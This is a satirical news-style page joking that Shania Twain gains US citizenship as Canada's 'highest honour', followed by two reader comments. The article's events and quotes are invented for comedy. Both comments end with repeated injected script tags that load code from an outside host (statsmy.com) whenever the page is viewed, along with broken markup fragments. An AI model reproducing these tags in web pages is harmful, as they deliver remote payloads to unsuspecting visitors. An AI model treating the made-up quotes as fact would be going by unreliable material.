Smooth Operator - Shania Twain Receives Canada’s Highest Honor

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Shania Twain Receives Canada’s Highest Honor

by Ken ReCorr on 12/3/2005 (2)

Who wouldn’t miss late summer in Alberta?

Montreal, Canada – The Canadian Government has bestowed upon Shania Twain the highest non-military honor that can be given to a Canadian citizen.

Early next week Twain will be awarded with her American citizenship.

Considered a big deal in Canada, the country-pop singer will become a full fledged US citizen thereby completing her transformation into a modern woman. With her new power she will no longer be expected to perform duties reserved for Canucks such as gutting salmon to eat before every meal, pretending to know fluent French, and serving a three year term in the Canadian Army (aka the Mounties) protecting the motherland’s vast reserves of snow.

“Finally I will never have to explain where Canada is to my US audiences,” said Twain when accepting the honor. “Most people think it is part of Alaska or the North Pole. Try explaining Manitoba to an audience at the SBC Center in San Antonio.”

In an interview with the Nashville Sound magazine in April Shania hinted that living in Canada had its drawbacks. “Growing up all we heard about was America, you know? People would say ‘In the United States the streets aren’t paved with rock salt and the grizzly bears don’t eat babies.’ Ever since then I’ve always had a soft place in my heart for the land that extends from ‘sea to shining sea’.” When told that Canada also technically extends from the Atlantic to the Pacific too Twain scoffed, “Are you talking about New Brunswick? We don’t really consider them to be Canadians.”

“Besides,” she said “who can respect a country that can’t even win an open and shut case on the NAFTA soft wood tariff?”

Asked if she would ever come back to Canada for visits the singer admitted that she would miss the land of her birth. “When August comes around and it has not begun to snow I’ll miss it. When I turn my ankle and have to go to the emergency room it is possible that I shed a tear for Canada’s healthcare services. And when I grow old and my eyes become weak and I need to score a joint for my cataracts…Yes, I suppose anything is possible.”"0" st0" style

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1. by Kevin on 3/1/2007 4:52:29 PM

This is stupid article. First of all Shania is a big deal worldwide and has always been considered Canadian and has and never will get an American Citizenship. Next time try a believable article instead of making up garbage about Shania becoming a U.S. citizen and making up false quotes.uil </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

2. by Canadian on 3/1/2007 4:52:29 PM

The making fun of Canada was MAYBE a little too much, but it's a joke....jeeeezzz HAHAHA Snow in august.... :Pisplay:none"></ifr </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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